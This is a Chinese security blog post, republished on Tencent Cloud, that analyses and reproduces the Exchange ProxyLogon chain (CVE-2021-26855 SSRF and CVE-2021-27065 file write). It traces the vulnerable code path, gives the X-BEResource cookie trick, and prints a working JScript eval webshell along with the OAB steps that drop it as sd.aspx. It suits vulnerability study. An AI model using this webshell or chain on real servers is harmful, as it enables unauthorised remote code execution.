前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021–26855与CVE-2021–27065分析及复现

CVE-2021–26855与CVE-2021–27065分析及复现

作者头像
红队蓝军
发布2022-05-17 19:01:56
1.2K0
发布2022-05-17 19:01:56
举报
文章被收录于专栏:红队蓝军

前言

微软在上半年三月披露了关于Exchange邮件服务器CVE-2021–26855(SSRF)与CVE-2021–27065(任意文件写入)的漏洞,这两个漏洞配合可以造成未授权的webshell写入,是非常严重的高危漏洞。漏洞刚出来那会儿并未注意,正好前两天4哥在群里发了个关于该漏洞的复现环境,重新想起这个事,正好暑假也没干啥正事,借此机会复现分析一下。

CVE-2021–26855

CVE-2021–26855是⼀个SSRF,只需要能够访问Exchange服务器,攻击者可以不经过任何类型的身份验证来利⽤此漏洞。

相关漏洞在C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin目录下的Microsoft.Exchange.FrontEndHttpProxy.dll

进入ProxyModule类的OnPostAuthorizeRequest函数,该函数用于对post请求的安全检查,函数中继续调用了该类的OnPostAuthorizeInternal函数。

OnPostAuthorizeInternal函数中调用SelectHandlerForUnauthenticatedRequest函数,从函数名称上来看该函数作用为:寻找对未验证安全请求的处理方法。

跟进SelectHandlerForUnauthenticatedRequest函数,发现对不同的ProtocolType,生成了不同的 httpHandler。而这个ProtocolType正是url中的web子目录,比如请求/ecp/n.png,ProtocolType就是ecp。

ProtocolType为ecp时,如果BEResourceRequestHandler类的CanHandle函数返回值为真,就会使用BEResourceRequestHandler作为处理方法。

跟进CanHandle方法。

可以看到如果要返回真,则需要同时让GetBEResouceCookieIsResourceRequest函数同时返回值为真。跟进这两个函数。

先看GetBEResouceCookie,该函数要请求cookies中一个BEResource字段的值,实际上就是X-BEResource

那么在cookies中设置一个X-BEResource字段的值即可。IsResourceRequest则是需要请求路径以.js,.png等结尾。

这时候回到OnPostAuthorizeInternal函数中,由于BEResourceRequestHandler是继承于ProxyRequstHandler类的,就会执行((ProxyRequestHandler)httpHandler).Run(context),最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler。

又调用了Handler.BeginProcessRequest(),此时Handler为BEResourceRequestHandler,该类没有BeginProcessRequest函数,但却继承了ProxyRequestHandler。因此实际上调用的是ProxyRequestHandler.BeginProcessRequest()函数。

BeginProcessRequest函数创建线程调用ProxyRequestHandler.BeginCalculateTargetBackEnd函数。该函数作用是根据Cookie中的X-BEResource字段来判断与生成指向BackEnd的目标url。

继续跟入,BeginCalculateTargetBackEnd调用ProxyRequestHandler.InternalBeginCalculateTargetBackEnd方法。

InternalBeginCalculateTargetBackEnd调用BEResourceRequestHandler.ResolveAnchorMailbox方法。

BEResourceRequestHandler.ResolveAnchorMailbox方法会获取X-BEResource字段。

跟入查看BackEndServer.FromString函数,会发现它依据~符号切割beresourceCookie字符串,前半段作为fqdn,后半段作为version。

fqdn为:全限定域名。在邮件中例如:sd@vip.com 而version指的是BackEndServer Version。

fqdn和verison变量将在ProxyRequestHandler.BeginProxyRequest函数中调用的的GetTargetBackEndServerUrl函数进行调用。

由于BackEndServer.Fqdn是可控的,clientUrlForProxy.Host则是可控的。

继续看ProxyRequestHandler.BeginProxyRequest后面,ProxyRequestHandler.CreateServerRequest将吧uri发送给后端服务器。

跟踪ProxyRequestHandler.CreateServerRequest,函数中PrepareServerRequest将进行uri代理请求的身份认证判断。

通过最后一个else绕过认证,达到一个SSRF漏洞攻击的过程。

CVE-2021–27065

CVE-2021–27065是⼀个任意⽂件写⼊漏洞,它需要登陆的管理员账号权限才能触发。而CVE-2021–26855正好可以为我们提供了管理员账号权限。

登录管理员账号后,进入:服务器——>虚拟目录——>OAB

编辑OAB配置,在外部链接中写⼊shell并保存。

代码语言:javascript
复制
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script>

保存后选择重置虚拟目录 写下shell位置为:\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx

查看shell文件,写入了一句话木马。

参考

https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

https://jishuin.proginn.com/p/763bfbd5ac72

https://zhuanlan.zhihu.com/p/357183471

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • CVE-2021–26855
  • CVE-2021–27065
  • 参考
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档